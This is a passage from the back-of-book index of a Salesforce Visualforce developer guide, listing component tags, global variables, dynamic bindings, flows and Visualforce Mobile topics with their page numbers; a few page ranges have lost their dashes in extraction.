selectCheckboxes 25, 27
selectList 25, 27
selectRadio 25, 27
site:googleAnalyticsTracking 590
site:previewAsAdmin 591
social:profileViewer 592
style sheet 47
stylesheet 46, 49
support:caseArticles 593
support:caseFeed 595
support:caseUnifiedFiles 595
support:clickToDial 596
support:portalPublisher 597
togglePanel 186
topics:widget 598
wave:dashboard 599
Tags, custom
See Custom components 148
Templates
dynamic 269
skeleton 269
Templates, email
See Email templates 201
Testing controllers 110
737
Index
U
Unit tests 110
Upgrading
Visualforce 6
URL query string parameters
getting 39
setting 41
User global variable type 630
User profile 625
User.UITheme global variable type 630
User.UIThemeDisplayed global variable type 630
UserRole global variable type 631
V
Variables, global
See Global variables 18
Versioning
custom components 151
packages 298
View state 98
Visualforce
action methods 186
Ajax 299
ApexPages methods 655
chart 213219, 224, 226, 231233, 235, 237239
compiling successfully 16
dashboard components, advanced 130
dashboard components, basic 31
data 215
development mode footer 12
dynamic binding
156, 165, 173, 176, 178
custom objects 165
packages 165
standard objects 156
dynamic bindings 155, 168
dynamic components 182183, 186, 188
dynamic reference 173, 176, 178
editor 14
embedding flows 253254
Visualforce (continued)
environments 12
field sets 170
form tag 131
getting flow variable values 261
global variables 173, 176, 178
globals 173, 176, 178
Google Charts, integrating with 131
graphic 213214, 216219, 224, 226, 231233, 235, 237239
how users resume a flow 264
image tag 131
inline editing 32
inputTextArea tag 131
JavaScript 213, 299
JavaScript library 300
JavaScript remoting 214, 217218
limitations 182
lists 168
maps 168
message severity 674
non-dynamic components 182
overriding buttons and tab home pages 139
page considerations 16
PDF 213
record types 144
restrictions 182
security tips 647
selectOption tag 131
selectRadio tag 131
sending email 194
setting flow variable values 257
templates 269
tools 12
versioning 8
View State tab 12
whether users can pause a flow 263
Visualforce Mobile
best practices 277
cross-platform development 281
JavaScript library 283
tabs 286
testing 289
Visualforce pages
ContentType 55
doctype 54
object accessibility 77
W
wave:dashboard tag 599
738
Index
739